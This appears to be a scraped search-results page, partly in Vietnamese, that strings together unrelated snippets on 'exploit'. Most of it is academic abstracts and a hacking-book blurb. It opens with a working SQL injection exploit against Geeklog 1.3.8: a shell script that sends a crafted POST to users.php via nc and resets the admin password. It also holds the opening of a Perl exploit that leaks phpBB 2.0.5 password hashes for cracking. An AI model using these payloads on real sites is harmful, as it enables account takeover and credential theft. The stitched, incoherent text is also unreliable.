Sql Injection Exploit Code
hack site Geeklog version 1.3.8-1sr1 Đôi nét về greedlog.net http://www.geeklog.net/ Đây là một dạng portal download free dùng rất nhiều cho site tin tức vvvv khá phổ biến. Lỗi sql injection được tìm thấy trong file users.php 2.code khai thác Exploit: #!/bin/sh echo "POST /path/to/gl/users.php HTTP/1.0 Content-length: 50 Content-type: application/x-www-form-urlencoded mode=setnewpwd&passwd=new&uid=2&rid=3'+or+uid='1&" | nc localhost 80 This should change the Admin user's password to "new". You have to change the /path/to/gl/users.
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The study aims at: investigating the reality of exploiting academic vocabulary on speaking subject of third - year student of English at Dong Thap University; applying academic vocabularies and find out their effects on the students speaking skill giving some suggestions.
Phpbb 2.0.5 Sql Injection Password, disclosure Exploit #!/usr/bin/perl -w # # # phpBB password disclosure vuln. # - rick patel # # There is a sql injection vuln which exists in /viewtopic.php file. The variable is $topic_id # which gets passed directly to sql server in query. Attacker could pass a special sql string which # can used to see md5 password hash for any user (!) for phpBB. This pass can be later used with # autologin or cracked using john. # # Details: # # this is checking done for $topic_id in viewtopic.php: # # if ( isset($HTTP_GET_VARS[POST_TOPIC_URL])...
Examines where security holes come from, how to discover them, how hackers exploit them and take control of systems on a daily basis, and most importantly, how to close these security holes so they never occur again
A unique author team-a blend of industry and underground experts- explain the techniques that readers can use to uncover security holes in any software or operating system
Shows how to pinpoint vulnerabilities in popular operating systems (including Windows, Linux, and Solaris) and applications (including MS SQL Server and Oracle databases)...
In this paper we address the problem of question recommendation from large archives of community question answering data by exploiting the users’ information needs. Our experimental results indicate that questions based on the same or similar information need can provide excellent question recommendation. We show that translation model can be effectively utilized to predict the information need given only the user’s query question.
We study the impact of syntactic and shallow semantic information in automatic classiﬁcation of questions and answers and answer re-ranking. We deﬁne (a) new tree structures based on shallow semantics encoded in Predicate Argument Structures (PASs) and (b) new kernel functions to exploit the representational power of such structures with Support Vector Machines. Our experiments suggest that syntactic information helps tasks such as question/answer classiﬁcation and that shallow semantics gives remarkable contribution when a reliable set of PASs can be extracted, e.g. from answers.
An exploit (from the verb to exploit, in the meaning of using something to one’s own advantage) is a piece of software, a chunk of data, or sequence of commands that takes advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behaviour to occur on computer software, hardware, or something electronic (usually computerised). Such behavior frequently includes such things as gaining control of a computer system or allowing privilege escalation or a denial-of-service attack...
We present a simple and effective framework for exploiting multiple monolingual treebanks with different annotation guidelines for parsing. Several types of transformation patterns (TP) are designed to capture the systematic annotation inconsistencies among different treebanks. Based on such TPs, we design quasisynchronous grammar features to augment the baseline parsing models.
In this paper, we introduce a framework that identifies online plagiarism by exploiting lexical, syntactic and semantic features that includes duplication-gram, reordering and alignment of words, POS and phrase tags, and semantic similarity of sentences. We establish an ensemble framework to combine the predictions of each model. Results demonstrate that our system can not only find considerable amount of real-world online plagiarism cases but also outperforms several state-of-the-art algorithms and commercial software. ...
Web search quality can vary widely across languages, even for the same information need. We propose to exploit this variation in quality by learning a ranking function on bilingual queries: queries that appear in query logs for two languages but represent equivalent search interests. For a given bilingual query, along with corresponding monolingual query log and monolingual ranking, we generate a ranking on pairs of documents, one from each language. Then we learn a linear ranking function which exploits bilingual features on pairs of documents, as well as standard monolingual features. ...
Effectively identifying events in unstructured text is a very difﬁcult task. This is largely due to the fact that an individual event can be expressed by several sentences. In this paper, we investigate the use of clustering methods for the task of grouping the text spans in a news article that refer to the same event. The key idea is to cluster the sentences, using a novel distance metric that exploits regularities in the sequential structure of events within a document.
Research and clarify theoretical issues related to the rational exploitation TWCHs. Systematize argument structure about TWCHs, determine the characteristics of TWCHs, provide a theoretical basis for rational exploitation TWCHs to develop tourism. Identification of criteria and indicators for assessment of the rational exploitation TWCHs. Analysis and reviewing of tourism development in Central Area, tourism exploitation of TWCHs and logical reviewing of current exploitation TWCHs. Proposal direction and solutions logicalfor TWCHs to develop tourism for Central Area in the future.
This paper brings a marriage of two seemly unrelated topics, natural language processing (NLP) and social network analysis (SNA). We propose a new task in SNA which is to predict the diffusion of a new topic, and design a learning-based framework to solve this problem. We exploit the latent semantic information among users, topics, and social connections as features for prediction. Our framework is evaluated on real data collected from public domain.
In this paper, we exploit non-local features as an estimate of long-distance dependencies to improve performance on the statistical spoken language understanding (SLU) problem. The statistical natural language parsers trained on text perform unreliably to encode non-local information on spoken language. An alternative method we propose is to use trigger pairs that are automatically extracted by a feature induction algorithm. We describe a light version of the inducer in which a simple modiﬁcation is efﬁcient and successful. ...
We propose a novel method for inducing monolingual semantic hierarchies and sense clusters from numerous foreign-language-to-English bilingual dictionaries. The method exploits patterns of non-transitivity in translations across multiple languages. No complex or hierarchical structure is assumed or used in the input dictionaries: each is initially parsed into the “lowest common denominator” form, which is to say, a list of pairs of the form (foreign word, English word).
Answer Validation is an emerging topic in Question Answering, where open domain systems are often required to rank huge amounts of candidate answers. We present a novel approach to answer validation based on the intuition that the amount of implicit knowledge which connects an answer to a question can be quantitatively estimated by exploiting the redundancy of Web information. Experiments carried out on the TREC-2001 judged-answer collection show that the approach achieves a high level of performance (i.e. 81% success rate).
This paper presents an approach for achieving conciseness in generating explanations, which is clone by exploiting formal reconstructions of aspects of the Gricean principle of relevance to simulate conversational implicature. By applying contextually motivated inference rules in an anticipation feed-back loop, a set of propositions explicitly representing an explanation's content is reduced to a subset which, in the actual context, can still be considered to convey the message adequately.